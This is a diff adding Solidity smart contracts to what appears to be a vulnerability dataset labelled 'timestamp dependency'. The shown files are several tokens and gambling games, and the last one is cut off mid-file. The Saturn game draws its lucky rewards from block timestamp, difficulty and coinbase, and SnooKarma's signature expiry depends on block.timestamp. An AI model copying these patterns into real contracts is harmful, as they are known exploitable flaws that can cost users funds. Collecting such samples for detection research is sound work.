allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + +contract Ownable { + address public owner; + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + modifier canMint() { + require(!mintingFinished); + _; + } + + modifier hasMintPermission() { + require(msg.sender == owner); + _; + } + + function mint( + address _to, + uint256 _amount + ) + hasMintPermission + canMint + public + returns (bool) + { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + +contract FreezableToken is StandardToken { + + mapping (bytes32 => uint64) internal chains; + mapping (bytes32 => uint) internal freezings; + mapping (address => uint) internal freezingBalance; + + event Freezed(address indexed to, uint64 release, uint amount); + event Released(address indexed owner, uint amount); + + function balanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner) + freezingBalance[_owner]; + } + + function actualBalanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner); + } + + function freezingBalanceOf(address _owner) public view returns (uint256 balance) { + return freezingBalance[_owner]; + } + + function freezingCount(address _addr) public view returns (uint count) { + uint64 release = chains[toKey(_addr, 0)]; + while (release != 0) { + count++; + release = chains[toKey(_addr, release)]; + } + } + + function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { + for (uint i = 0; i < _index + 1; i++) { + _release = chains[toKey(_addr, _release)]; + if (_release == 0) { + return; + } + } + _balance = freezings[toKey(_addr, _release)]; + } + + function freezeTo(address _to, uint _amount, uint64 _until) public { + require(_to != address(0)); + require(_amount <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + emit Transfer(msg.sender, _to, _amount); + emit Freezed(_to, _until, _amount); + } + + function releaseOnce() public { + bytes32 headKey = toKey(msg.sender, 0); + uint64 head = chains[headKey]; + require(head != 0); + require(uint64(block.timestamp) > head); + bytes32 currentKey = toKey(msg.sender, head); + + uint64 next = chains[currentKey]; + + uint amount = freezings[currentKey]; + delete freezings[currentKey]; + + balances[msg.sender] = balances[msg.sender].add(amount); + freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); + + if (next == 0) { + delete chains[headKey]; + } else { + chains[headKey] = next; + delete chains[currentKey]; + } + emit Released(msg.sender, amount); + } + + function releaseAll() public returns (uint tokens) { + uint release; + uint balance; + (release, balance) = getFreezing(msg.sender, 0); + while (release != 0 && block.timestamp > release) { + releaseOnce(); + tokens += balance; + (release, balance) = getFreezing(msg.sender, 0); + } + } + + function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { + result = 0x5749534800000000000000000000000000000000000000000000000000000000; + assembly { + result := or(result, mul(_addr, 0x10000000000000000)) + result := or(result, _release) + } + } + + function freeze(address _to, uint64 _until) internal { + require(_until > block.timestamp); + bytes32 key = toKey(_to, _until); + bytes32 parentKey = toKey(_to, uint64(0)); + uint64 next = chains[parentKey]; + + if (next == 0) { + chains[parentKey] = _until; + return; + } + + bytes32 nextKey = toKey(_to, next); + uint parent; + + while (next != 0 && _until > next) { + parent = next; + parentKey = nextKey; + + next = chains[nextKey]; + nextKey = toKey(_to, next); + } + + if (_until == next) { + return; + } + + if (next != 0) { + chains[key] = next; + } + + chains[parentKey] = _until; + } +} + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + modifier whenNotPaused() { + require(!paused); + _; + } + + modifier whenPaused() { + require(paused); + _; + } + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + +contract FreezableMintableToken is FreezableToken, MintableToken { + + function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + emit Mint(_to, _amount); + emit Freezed(_to, _until, _amount); + emit Transfer(msg.sender, _to, _amount); + return true; + } +} + + +contract Consts { + uint public constant TOKEN_DECIMALS = 0; + uint8 public constant TOKEN_DECIMALS_UINT8 = 0; + uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; + + string public constant TOKEN_NAME = "MissYou"; + string public constant TOKEN_SYMBOL = "MIS"; + bool public constant PAUSED = false; + address public constant TARGET_USER = 0x210d60d0ec127f0fff477a1b1b9424bb1c32876d; + + bool public constant CONTINUE_MINTING = false; +} + +contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable +{ + event Initialized(); + bool public initialized = false; + + constructor() public { + init(); + transferOwnership(TARGET_USER); + } + + function name() public pure returns (string _name) { + return TOKEN_NAME; + } + + function symbol() public pure returns (string _symbol) { + return TOKEN_SYMBOL; + } + + function decimals() public pure returns (uint8 _decimals) { + return TOKEN_DECIMALS_UINT8; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transferFrom(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transfer(_to, _value); + } + + + function init() private { + require(!initialized); + initialized = true; + + if (PAUSED) { + pause(); + } + + + address[1] memory addresses = [address(0x210d60d0ec127f0fff477a1b1b9424bb1c32876d)]; + uint[1] memory amounts = [uint(690000000000)]; + uint64[1] memory freezes = [uint64(0)]; + + for (uint i = 0; i < addresses.length; i++) { + if (freezes[i] == 0) { + mint(addresses[i], amounts[i]); + } else { + mintAndFreeze(addresses[i], amounts[i], freezes[i]); + } + } + + + if (!CONTINUE_MINTING) { + finishMinting(); + } + + emit Initialized(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/399.sol b/smart_contract_dataset/timestamp dependency/399.sol new file mode 100644 index 0000000000000000000000000000000000000000..334dd4fd05d775080d74165a33804154287b2931 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/399.sol @@ -0,0 +1,687 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } + + + function sqrt(uint256 x) internal pure returns (uint256 y) { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) { + y = z; + z = ((add((x / z),z)) / 2); + } + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract Saturn is Ownable { + using SafeMath for uint256; + + struct Player { + uint256 pid; + uint256 ethTotal; + uint256 ethBalance; + uint256 ethWithdraw; + uint256 ethShareWithdraw; + uint256 tokenBalance; + uint256 tokenDay; + uint256 tokenDayBalance; + } + + struct LuckyRecord { + address player; + uint256 amount; + uint64 txId; + uint64 time; + + + + uint64 level; + } + + + struct LuckyPending { + address player; + uint256 amount; + uint64 txId; + uint64 block; + uint64 level; + } + + struct InternalBuyEvent { + + + + + + + + uint256 flag1; + } + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Buy( + address indexed _token, address indexed _player, uint256 _amount, uint256 _total, + uint256 _totalSupply, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, + uint256 _price, uint256 _flag1 + ); + event Withdraw(address indexed _token, address indexed _player, uint256 _amount); + event Win(address indexed _token, address indexed _winner, uint256 _winAmount); + + string constant public name = "Saturn"; + string constant public symbol = "SAT"; + uint8 constant public decimals = 18; + + uint256 constant private FEE_REGISTER_ACCOUNT = 10 finney; + uint256 constant private BUY_AMOUNT_MIN = 1000000000; + uint256 constant private BUY_AMOUNT_MAX = 100000000000000000000000; + uint256 constant private TIME_DURATION_INCREASE = 30 seconds; + uint256 constant private TIME_DURATION_MAX = 24 hours; + uint256 constant private ONE_TOKEN = 1000000000000000000; + + mapping(address => Player) public playerOf; + mapping(uint256 => address) public playerIdOf; + uint256 public playerCount; + + uint256 public totalSupply; + + uint256 public totalPot; + uint256 public sharePot; + uint256 public finalPot; + uint256 public luckyPot; + + uint64 public txCount; + uint256 public finishTime; + uint256 public startTime; + + address public lastPlayer; + address public winner; + uint256 public winAmount; + + uint256 public price; + + address[3] public dealers; + uint256 public dealerDay; + + LuckyPending[] public luckyPendings; + uint256 public luckyPendingIndex; + LuckyRecord[] public luckyRecords; + + address public feeOwner; + uint256 public feeAmount; + + + uint64[16] public feePrices = [uint64(88000000000000),140664279921934,224845905067685,359406674201608,574496375292119,918308169866219,1467876789325690,2346338995279770,3750523695724810,5995053579423660,9582839714125510,15317764181758900,24484798507285300,39137915352965200,62560303190573500,99999999999999100]; + + uint8[16] public feePercents = [uint8(150),140,130,120,110,100,90,80,70,60,50,40,30,20,10,0]; + + uint256 public feeIndex; + + + constructor(uint256 _startTime, address _feeOwner) public { + require(_startTime >= now && _feeOwner != address(0)); + startTime = _startTime; + finishTime = _startTime + TIME_DURATION_MAX; + totalSupply = 0; + price = 88000000000000; + feeOwner = _feeOwner; + owner = msg.sender; + } + + + modifier isActivated() { + require(now >= startTime); + _; + } + + + modifier isAccount() { + address _address = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_address)} + require(_codeLength == 0 && tx.origin == msg.sender); + _; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return playerOf[_owner].tokenBalance; + } + + + function getLuckyPendingSize() public view returns (uint256) { + return luckyPendings.length; + } + + function getLuckyRecordSize() public view returns (uint256) { + return luckyRecords.length; + } + + + function getGameInfo() public view returns ( + uint256 _balance, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, uint256 _rewardPot, uint256 _price, + uint256 _totalSupply, uint256 _now, uint256 _timeLeft, address _winner, uint256 _winAmount, uint8 _feePercent + ) { + _balance = address(this).balance; + _totalPot = totalPot; + _sharePot = sharePot; + _finalPot = finalPot; + _luckyPot = luckyPot; + _rewardPot = _sharePot; + uint256 _withdraw = _sharePot.add(_finalPot).add(_luckyPot); + if (_totalPot > _withdraw) { + _rewardPot = _rewardPot.add(_totalPot.sub(_withdraw)); + } + _price = price; + _totalSupply = totalSupply; + _now = now; + _feePercent = feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]; + if (now < finishTime) { + _timeLeft = finishTime - now; + } else { + _timeLeft = 0; + _winner = winner != address(0) ? winner : lastPlayer; + _winAmount = winner != address(0) ? winAmount : finalPot; + } + } + + + function getPlayerInfo(address _playerAddress) public view returns ( + uint256 _pid, uint256 _ethTotal, uint256 _ethBalance, uint256 _ethWithdraw, + uint256 _tokenBalance, uint256 _tokenDayBalance + ) { + Player storage _player = playerOf[_playerAddress]; + if (_player.pid > 0) { + _pid = _player.pid; + _ethTotal = _player.ethTotal; + uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); + _ethBalance = _player.ethBalance; + if (_sharePot > _player.ethShareWithdraw) { + _ethBalance = _ethBalance.add(_sharePot.sub(_player.ethShareWithdraw)); + } + _ethWithdraw = _player.ethWithdraw; + _tokenBalance = _player.tokenBalance; + uint256 _day = (now / 86400) * 86400; + if (_player.tokenDay == _day) { + _tokenDayBalance = _player.tokenDayBalance; + } + } + } + + + function getDealerAndLuckyInfo(uint256 _luckyOffset) public view returns ( + address[3] _dealerPlayers, uint256[3] _dealerDayTokens, uint256[3] _dealerTotalTokens, + address[5] _luckyPlayers, uint256[5] _luckyAmounts, uint256[5] _luckyLevels, uint256[5] _luckyTimes + ) { + uint256 _day = (now / 86400) * 86400; + if (dealerDay == _day) { + for (uint256 _i = 0; _i < 3; ++_i) { + if (dealers[_i] != address(0)) { + Player storage _player = playerOf[dealers[_i]]; + _dealerPlayers[_i] = dealers[_i]; + _dealerDayTokens[_i] = _player.tokenDayBalance; + _dealerTotalTokens[_i] = _player.tokenBalance; + } + } + } + uint256 _size = _luckyOffset >= luckyRecords.length ? 0 : luckyRecords.length - _luckyOffset; + if (_luckyPlayers.length < _size) { + _size = _luckyPlayers.length; + } + for (_i = 0; _i < _size; ++_i) { + LuckyRecord memory _record = luckyRecords[luckyRecords.length - _luckyOffset - 1 - _i]; + _luckyPlayers[_i] = _record.player; + _luckyAmounts[_i] = _record.amount; + _luckyLevels[_i] = _record.level; + _luckyTimes[_i] = _record.time; + } + } + + + function transfer(address _to, uint256 _value) isActivated isAccount public returns (bool) { + require(_to == address(this)); + Player storage _player = playerOf[msg.sender]; + require(_player.pid > 0); + if (now >= finishTime) { + if (winner == address(0)) { + + endGame(); + } + + _value = 80000000000000000; + } else { + + require(_value == 80000000000000000 || _value == 10000000000000000); + } + uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); + uint256 _eth = 0; + + if (_sharePot > _player.ethShareWithdraw) { + _eth = _sharePot.sub(_player.ethShareWithdraw); + _player.ethShareWithdraw = _sharePot; + } + + _eth = _eth.add(_player.ethBalance); + _player.ethBalance = 0; + _player.ethWithdraw = _player.ethWithdraw.add(_eth); + if (_value == 80000000000000000) { + + + uint256 _fee = _eth.mul(feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]).div(1000); + if (_fee > 0) { + feeAmount = feeAmount.add(_fee); + _eth = _eth.sub(_fee); + } + sendFeeIfAvailable(); + msg.sender.transfer(_eth); + emit Withdraw(_to, msg.sender, _eth); + emit Transfer(msg.sender, _to, 0); + } else { + + InternalBuyEvent memory _buyEvent = InternalBuyEvent({ + flag1: 0 + }); + buy(_player, _buyEvent, _eth); + } + return true; + } + + + function() isActivated isAccount payable public { + uint256 _eth = msg.value; + require(now < finishTime); + InternalBuyEvent memory _buyEvent = InternalBuyEvent({ + flag1: 0 + }); + Player storage _player = playerOf[msg.sender]; + if (_player.pid == 0) { + + require(_eth >= FEE_REGISTER_ACCOUNT); + + uint256 _fee = FEE_REGISTER_ACCOUNT.sub(BUY_AMOUNT_MIN); + _eth = _eth.sub(_fee); + + feeAmount = feeAmount.add(_fee); + playerCount = playerCount.add(1); + Player memory _p = Player({ + pid: playerCount, + ethTotal: 0, + ethBalance: 0, + ethWithdraw: 0, + ethShareWithdraw: 0, + tokenBalance: 0, + tokenDay: 0, + tokenDayBalance: 0 + }); + playerOf[msg.sender] = _p; + playerIdOf[_p.pid] = msg.sender; + _player = playerOf[msg.sender]; + + _buyEvent.flag1 += 1; + } + buy(_player, _buyEvent, _eth); + } + + + function buy(Player storage _player, InternalBuyEvent memory _buyEvent, uint256 _amount) private { + require(now < finishTime && _amount >= BUY_AMOUNT_MIN && _amount <= BUY_AMOUNT_MAX); + + uint256 _day = (now / 86400) * 86400; + uint256 _backEth = 0; + uint256 _eth = _amount; + if (totalPot < 200000000000000000000) { + + if (_eth >= 5000000000000000000) { + + _backEth = _eth.sub(5000000000000000000); + _eth = 5000000000000000000; + } + } + txCount = txCount + 1; + _buyEvent.flag1 += txCount * 10; + _player.ethTotal = _player.ethTotal.add(_eth); + totalPot = totalPot.add(_eth); + + uint256 _newTotalSupply = calculateTotalSupply(totalPot); + + uint256 _tokenAmount = _newTotalSupply.sub(totalSupply); + _player.tokenBalance = _player.tokenBalance.add(_tokenAmount); + + + if (_player.tokenDay == _day) { + _player.tokenDayBalance = _player.tokenDayBalance.add(_tokenAmount); + } else { + _player.tokenDay = _day; + _player.tokenDayBalance = _tokenAmount; + } + + updatePrice(_newTotalSupply); + handlePot(_day, _eth, _newTotalSupply, _tokenAmount, _player, _buyEvent); + if (_backEth > 0) { + _player.ethBalance = _player.ethBalance.add(_backEth); + } + sendFeeIfAvailable(); + emitEndTxEvents(_eth, _tokenAmount, _buyEvent); + } + + + function handlePot(uint256 _day, uint256 _eth, uint256 _newTotalSupply, uint256 _tokenAmount, Player storage _player, InternalBuyEvent memory _buyEvent) private { + uint256 _sharePotDelta = _eth.div(2); + uint256 _finalPotDelta = _eth.div(5); + uint256 _luckyPotDelta = _eth.mul(255).div(1000); + uint256 _dealerPotDelta = _eth.sub(_sharePotDelta).sub(_finalPotDelta).sub(_luckyPotDelta); + sharePot = sharePot.add(_sharePotDelta); + finalPot = finalPot.add(_finalPotDelta); + luckyPot = luckyPot.add(_luckyPotDelta); + totalSupply = _newTotalSupply; + handleDealerPot(_day, _dealerPotDelta, _player, _buyEvent); + handleLuckyPot(_eth, _player); + + if (_tokenAmount >= ONE_TOKEN) { + updateFinishTime(_tokenAmount); + lastPlayer = msg.sender; + } + _buyEvent.flag1 += finishTime * 1000000000000000000000; + } + + + function handleLuckyPot(uint256 _eth, Player storage _player) private { + uint256 _seed = uint256(keccak256(abi.encodePacked( + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + ))); + _seed = _seed - ((_seed / 1000) * 1000); + uint64 _level = 0; + if (_seed < 227) { + _level = 1; + } else if (_seed < 422) { + _level = 2; + } else if (_seed < 519) { + _level = 3; + } else if (_seed < 600) { + _level = 4; + } else if (_seed < 700) { + _level = 5; + } else { + _level = 6; + } + if (_level >= 5) { + + handleLuckyReward(txCount, _level, _eth, _player); + } else { + + LuckyPending memory _pending = LuckyPending({ + player: msg.sender, + amount: _eth, + txId: txCount, + block: uint64(block.number + 1), + level: _level + }); + luckyPendings.push(_pending); + } + + handleLuckyPending(_level >= 5 ? 0 : 1); + } + + function handleLuckyPending(uint256 _pendingSkipSize) private { + if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { + LuckyPending storage _pending = luckyPendings[luckyPendingIndex]; + if (_pending.block <= block.number) { + uint256 _seed = uint256(keccak256(abi.encodePacked( + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + (block.number) + ))); + _seed = _seed - ((_seed / 1000) * 1000); + handleLucyPendingForOne(_pending, _seed); + if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { + _pending = luckyPendings[luckyPendingIndex]; + if (_pending.block <= block.number) { + handleLucyPendingForOne(_pending, _seed); + } + } + } + } + } + + function handleLucyPendingForOne(LuckyPending storage _pending, uint256 _seed) private { + luckyPendingIndex = luckyPendingIndex.add(1); + bool _reward = false; + if (_pending.level == 4) { + _reward = _seed < 617; + } else if (_pending.level == 3) { + _reward = _seed < 309; + } else if (_pending.level == 2) { + _reward = _seed < 102; + } else if (_pending.level == 1) { + _reward = _seed < 44; + } + if (_reward) { + handleLuckyReward(_pending.txId, _pending.level, _pending.amount, playerOf[_pending.player]); + } + } + + function handleLuckyReward(uint64 _txId, uint64 _level, uint256 _eth, Player storage _player) private { + uint256 _amount; + if (_level == 1) { + _amount = _eth.mul(7); + } else if (_level == 2) { + _amount = _eth.mul(3); + } else if (_level == 3) { + _amount = _eth; + } else if (_level == 4) { + _amount = _eth.div(2); + } else if (_level == 5) { + _amount = _eth.div(5); + } else if (_level == 6) { + _amount = _eth.div(10); + } + uint256 _maxPot = luckyPot.div(2); + if (_amount > _maxPot) { + _amount = _maxPot; + } + luckyPot = luckyPot.sub(_amount); + _player.ethBalance = _player.ethBalance.add(_amount); + LuckyRecord memory _record = LuckyRecord({ + player: msg.sender, + amount: _amount, + txId: _txId, + level: _level, + time: uint64(now) + }); + luckyRecords.push(_record); + } + + + function handleDealerPot(uint256 _day, uint256 _dealerPotDelta, Player storage _player, InternalBuyEvent memory _buyEvent) private { + uint256 _potUnit = _dealerPotDelta.div(dealers.length); + + if (dealerDay != _day || dealers[0] == address(0)) { + dealerDay = _day; + dealers[0] = msg.sender; + dealers[1] = address(0); + dealers[2] = address(0); + _player.ethBalance = _player.ethBalance.add(_potUnit); + feeAmount = feeAmount.add(_dealerPotDelta.sub(_potUnit)); + _buyEvent.flag1 += _player.pid * 100000000000000000000000000000000; + return; + } + + for (uint256 _i = 0; _i < dealers.length; ++_i) { + if (dealers[_i] == address(0)) { + dealers[_i] = msg.sender; + break; + } + if (dealers[_i] == msg.sender) { + break; + } + Player storage _dealer = playerOf[dealers[_i]]; + if (_dealer.tokenDayBalance < _player.tokenDayBalance) { + for (uint256 _j = dealers.length - 1; _j > _i; --_j) { + if (dealers[_j - 1] != msg.sender) { + dealers[_j] = dealers[_j - 1]; + } + } + dealers[_i] = msg.sender; + break; + } + } + + uint256 _fee = _dealerPotDelta; + for (_i = 0; _i < dealers.length; ++_i) { + if (dealers[_i] == address(0)) { + break; + } + _dealer = playerOf[dealers[_i]]; + _dealer.ethBalance = _dealer.ethBalance.add(_potUnit); + _fee = _fee.sub(_potUnit); + _buyEvent.flag1 += _dealer.pid * + (_i == 0 ? 100000000000000000000000000000000 : + (_i == 1 ? 100000000000000000000000000000000000000000000000 : + (_i == 2 ? 100000000000000000000000000000000000000000000000000000000000000 : 0))); + } + if (_fee > 0) { + feeAmount = feeAmount.add(_fee); + } + } + + function emitEndTxEvents(uint256 _eth, uint256 _tokenAmount, InternalBuyEvent memory _buyEvent) private { + emit Transfer(address(this), msg.sender, _tokenAmount); + emit Buy( + address(this), msg.sender, _eth, _tokenAmount, + totalSupply, totalPot, sharePot, finalPot, luckyPot, + price, _buyEvent.flag1 + ); + } + + + function endGame() private { + + if (luckyPot > 0) { + feeAmount = feeAmount.add(luckyPot); + luckyPot = 0; + } + + + if (winner == address(0) && lastPlayer != address(0)) { + winner = lastPlayer; + lastPlayer = address(0); + winAmount = finalPot; + finalPot = 0; + Player storage _player = playerOf[winner]; + _player.ethBalance = _player.ethBalance.add(winAmount); + emit Win(address(this), winner, winAmount); + } + } + + + function updateFinishTime(uint256 _tokenAmount) private { + uint256 _timeDelta = _tokenAmount.div(ONE_TOKEN).mul(TIME_DURATION_INCREASE); + uint256 _finishTime = finishTime.add(_timeDelta); + uint256 _maxTime = now.add(TIME_DURATION_MAX); + finishTime = _finishTime <= _maxTime ? _finishTime : _maxTime; + } + + function updatePrice(uint256 _newTotalSupply) private { + price = _newTotalSupply.mul(2).div(10000000000).add(88000000000000); + uint256 _idx = feeIndex + 1; + while (_idx < feePrices.length && price >= feePrices[_idx]) { + feeIndex = _idx; + ++_idx; + } + } + + function calculateTotalSupply(uint256 _newTotalPot) private pure returns(uint256) { + return _newTotalPot.mul(10000000000000000000000000000) + .add(193600000000000000000000000000000000000000000000) + .sqrt() + .sub(440000000000000000000000); + } + + function sendFeeIfAvailable() private { + if (feeAmount > 1000000000000000000) { + feeOwner.transfer(feeAmount); + feeAmount = 0; + } + } + + + function changeFeeOwner(address _feeOwner) onlyOwner public { + require(_feeOwner != feeOwner && _feeOwner != address(0)); + feeOwner = _feeOwner; + } + + + function withdrawFee(uint256 _amount) onlyOwner public { + require(now >= finishTime.add(30 days)); + if (winner == address(0)) { + endGame(); + } + feeAmount = feeAmount > _amount ? feeAmount.sub(_amount) : 0; + feeOwner.transfer(_amount); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/419.sol b/smart_contract_dataset/timestamp dependency/419.sol new file mode 100644 index 0000000000000000000000000000000000000000..6378454e6e03a93623538d57439ff7c6525342fa --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/419.sol @@ -0,0 +1,174 @@ +pragma solidity 0.4.24; + + +contract SnooKarma { + + + address public oracle; + + + + address public maintainer; + + + address public owner; + + + + mapping(address => uint) public balanceOf; + mapping(address => mapping (address => uint)) public allowance; + string public constant symbol = "SNK"; + string public constant name = "SnooKarma"; + uint8 public constant decimals = 2; + uint public totalSupply = 0; + event Transfer(address indexed _from, address indexed _to, uint _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); + + + event Redeem(string indexed username, address indexed addr, uint karma); + + + + mapping(string => uint) redeemedKarma; + + + constructor() public { + owner = msg.sender; + maintainer = msg.sender; + oracle = msg.sender; + } + + + + function transfer(address destination, uint amount) public returns (bool success) { + if (balanceOf[msg.sender] >= amount && + balanceOf[destination] + amount > balanceOf[destination]) { + balanceOf[msg.sender] -= amount; + balanceOf[destination] += amount; + emit Transfer(msg.sender, destination, amount); + return true; + } else { + return false; + } + } + + function transferFrom ( + address from, + address to, + uint amount + ) public returns (bool success) { + if (balanceOf[from] >= amount && + allowance[from][msg.sender] >= amount && + balanceOf[to] + amount > balanceOf[to]) + { + balanceOf[from] -= amount; + allowance[from][msg.sender] -= amount; + balanceOf[to] += amount; + emit Transfer(from, to, amount); + return true; + } else { + return false; + } + } + + function approve(address spender, uint amount) public returns (bool success) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + + + + function safeAdd(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + require(c >= a); + return c; + } + + + modifier onlyBy(address account) { + require(msg.sender == account); + _; + } + + + function transferOwnership(address newOwner) public onlyBy(owner) { + require(newOwner != address(0)); + owner = newOwner; + } + + + + function changeOracle(address newOracle) public onlyBy(owner) { + require(oracle != address(0) && newOracle != address(0)); + oracle = newOracle; + } + + + + function removeOracle() public onlyBy(owner) { + oracle = address(0); + } + + + function changeMaintainer(address newMaintainer) public onlyBy(owner) { + maintainer = newMaintainer; + } + + + + + function redeem(string username, uint karma, uint sigExp, uint8 sigV, bytes32 sigR, bytes32 sigS) public { + + require( + ecrecover( + keccak256(abi.encodePacked(this, username, karma, sigExp)), + sigV, sigR, sigS + ) == oracle + ); + + require(block.timestamp < sigExp); + + require(karma > redeemedKarma[username]); + + uint newUserKarma = karma - redeemedKarma[username]; + + balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], newUserKarma); + + uint newMaintainerKarma = newUserKarma / 100; + + balanceOf[maintainer] = safeAdd(balanceOf[maintainer], newMaintainerKarma); + + totalSupply = safeAdd(totalSupply, safeAdd(newUserKarma, newMaintainerKarma)); + + redeemedKarma[username] = karma; + + emit Redeem(username, msg.sender, newUserKarma); + + emit Transfer(0x0, msg.sender, newUserKarma); + } + + + + function redeemedKarmaOf(string username) public view returns(uint) { + return redeemedKarma[username]; + } + + + function() public payable { } + + + function transferEthereum(uint amount, address destination) public onlyBy(maintainer) { + require(destination != address(0)); + destination.transfer(amount); + } + + + function transferTokens(address token, uint amount, address destination) public onlyBy(maintainer) { + require(destination != address(0)); + SnooKarma tokenContract = SnooKarma(token); + tokenContract.transfer(destination, amount); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/428.sol b/smart_contract_dataset/timestamp dependency/428.sol new file mode 100644 index 0000000000000000000000000000000000000000..2c0987ad69eb41ce66efa46d2a955d1cad7f5b95 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/428.sol @@ -0,0 +1,1689 @@ +pragma solidity ^0.4.24; + +contract F3Devents { + + event onNewName + ( + uint256 indexed playerID, + address indexed playerAddress, + bytes32 indexed playerName, + bool isNewPlayer, + uint256 affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 amountPaid, + uint256 timeStamp + ); + + + event onEndTx + ( + uint256 compressedData, + uint256 compressedIDs, + bytes32 playerName, + address playerAddress, + uint256 ethIn, + uint256 keysBought, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount, + uint256 potAmount, + uint256 airDropPot + ); + + + event onWithdraw + ( + uint256 indexed playerID, + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 timeStamp + ); + + + event onWithdrawAndDistribute + 